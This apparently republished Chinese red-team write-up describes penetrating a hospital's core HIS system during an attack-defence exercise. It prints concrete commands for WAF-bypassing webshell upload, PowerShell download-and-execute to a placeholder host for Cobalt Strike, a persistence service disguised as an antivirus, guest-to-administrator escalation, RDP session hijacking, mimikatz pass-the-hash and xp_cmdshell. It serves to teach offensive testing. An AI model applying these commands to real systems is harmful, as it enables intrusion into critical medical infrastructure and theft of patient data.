【红蓝对抗】记一次实战攻防渗透
2023-2-4 00:3:9 Author: 白帽子(查看原文) 阅读量:16 收藏

记录之前参加演练的一次实战过程。

拿下某医院核心his权限

拿到目标,通过信息收集尽可能多的寻找目标资产,最终发现了存在漏洞的某系统,通过该系统进入内网。

用户枚举漏洞

登录处存在用户枚举漏洞

返回包可以看到该帐号的功能,所属的科室等信息。

弱口令漏洞

通过对枚举得到的用户进行弱口令爆破,成功登陆了某医生的账户。

该账户只有一个体检预约管理的功能,经过测试无法直接getshell。

越权漏洞

观察当前url地址,发现存在usersysid和deptid两个参数,usersysid为当前用户名,deptid恰好可以通过用户枚举得到,因此可能存在越权漏洞。

经过测试发现可以通过修改参数进行越权,大部分为普通用户,经过反复尝试发现269用户权限比较高,尝试替换usersysid和deptid进行越权。

成功访问到该帐号的功能模块。

文件上传漏洞

对高权限用户的功能模块进行测试,发现上传点。

网站存在某种waf,常规webshell无法直接上传,尝试进行bypass。

最终绕过waf成功上传webshell,对数据包进行了4次处理。
1、"boundary="后面加tab键
2、使用asHX后缀
3、删除"Content-type:"后面的类型信息
4、正常图片文件的内容开头

成功得到目标webshell,web打点结束。

上线cs

目前只有一个webshell命令执行权限,为了后续横向,尝试利用cs进行多人运动~
首先查看目标主机是否出网,和安装的杀软情况。
通过ping命令确定目标出网。

通过tasklist命令查看是否运行杀软
https://maikefee.com/av_list
未发现存在杀软

系统版本为server2012,尝试直接运行powershell命令上线cs。

powershell.exe IEX ((new-object net.webclient).downloadstring('http:x.x.x.x:xx/x'))

cs成功上线,当前为iis权限,直接使用梼杌的提权插件。选择使用烂土豆提权server2012
https://github.com/pandasec888/taowu-cobalt-strike

成功提升至system权限。

权限维持

目前已经得到了system权限,为了防止webshell被删,服务器重启,web服务关闭等问题,需要做一下权限维持。https://www.jianshu.com/p/f3f3d4d34701我常用的把powershell上线cs的命令注册成服务,每次开机执行。(容易被发现,追求隐蔽性不推荐该方法)

创建一个名为主动防御的服务。sc create "主动防御" binpath= "cmd /c start powershell.exe IEX (new-object net.webclient).downloadstring('http://x.x.x.x/a')"设置为自动运行sc config "主动防御" start= auto演练结束删除服务。sc delete "主动防御"

激活guest用户

net user guest   /active:yesnet user guest   [email protected]net localgroup   administrators  guest   /add

搭建隧道

可以选择 nps和frp
我使用是nps代理
优点:稳定,速度快,管理方便
缺点:扫描内网主机端口全部开放(不知道是不是我nps版本的问题)
创建客户端

上传服务端到目标服务器执行

npc.exe -server=x.x.x.x:xxx -vkey=xxxxxx -type=tcp

使用Proxifier代入内网。

RDP登陆

有时候我们需要登陆管理员用户方便进行信息收集。目标为server2012 mimikatz默认无法读取明文密码,因此在ntml hash解不开的情况下,我们可以尝试2种方法进行登陆。1、RDP劫持登陆激活的guest用户,执行命令,劫持administrator

query user sc create tide binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4"      #1为目标会话id和当前会话名 net start tide

2、pth登录远程rdp对于server 2012系统,直接使用mimikatz传递ntlm hash值登录

privilege::debugsekurlsa::pth /user:administrator /domain:127.0.0.1 /ntlm:32ed87bdb5fdc5e9cba88547376818d4 "/run:mstsc.exe /restrictedadmin"

win10系统报错

需要修改注册表

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

重新登录

privilege::debugsekurlsa::pth /user:administrator /domain:127.0.0.1 /ntlm:32ed87bdb5fdc5e9cba88547376818d4 "/run:mstsc.exe /restrictedadmin"

!!!登陆前使用命令查看管理员是否在线。

query user

这里选择使用RDP劫持的方式登陆了administrator用户。

内网信息收集

具体信息收集的过程不再描述,通过内网信息收集,发现了数据库连接配置文件,包含his,lis等核心数据库。

解密his数据库连接信息,发现目标为sql server数据库。

数据库服务器和当前跳板机为2个不同b段。

获取核心his权限

利用得到的账户密码直接登陆his数据库。尝试使用xp_cmdshell执行系统命令。

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;exec master..xp_cmdshell "whoami"

成功拿到his数据库服务器权限。

目标不出网,且无法ping通跳板机。

证实了该服务器为his服务器,且该网段为核心内网。至此达到演练目标。

扩展

目前只能通过数据库来执行系统命令,尝试上线到cs上。
该his服务器不通外网,且不通跳板机所在的网段。
反向连接失效,尝试使用正向连接,上线目标服务器到cs。


cs新建一个监听器,选择beacon-tcp,执行后本地开放一个端口

生成一个无状态的可执行木马文件,选择对应的监听器。

上传木马文件到目标主机~
这里遇到了困难,目标不出网,且不通当前跳板机,只有cmd命令行的情况下,无法直接上传。
解决方法:目标开放了iis服务,向iis服务网站目录下 echo一个apsx一句话木马,然后通过webshell上传可执行exe文件。
利用SQL TOOLS可以直观的寻找目标网站目标,然后echo写入木马。

使用webshell上传exe并且执行。
执行后会本地开放一个8877端口。
在跳板机的cs会话中执行:

connect x.x.x.x 8877

去正向连接目标开放的8877端口。

成功通过多层内网上线了目标主机。

不算复杂的一次内网实战过程,知识又增加了。

E

N

D

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246495&idx=2&sn=b6d58cdacb5db59b65731e7ee798a08a&chksm=82ea56f6b59ddfe04f0cf2cf6afccddb0fd7eb83fd734b5c0e28dca01297a38d5dde0a6bb1b9#rd
如有侵权请联系:admin#unsafe.sh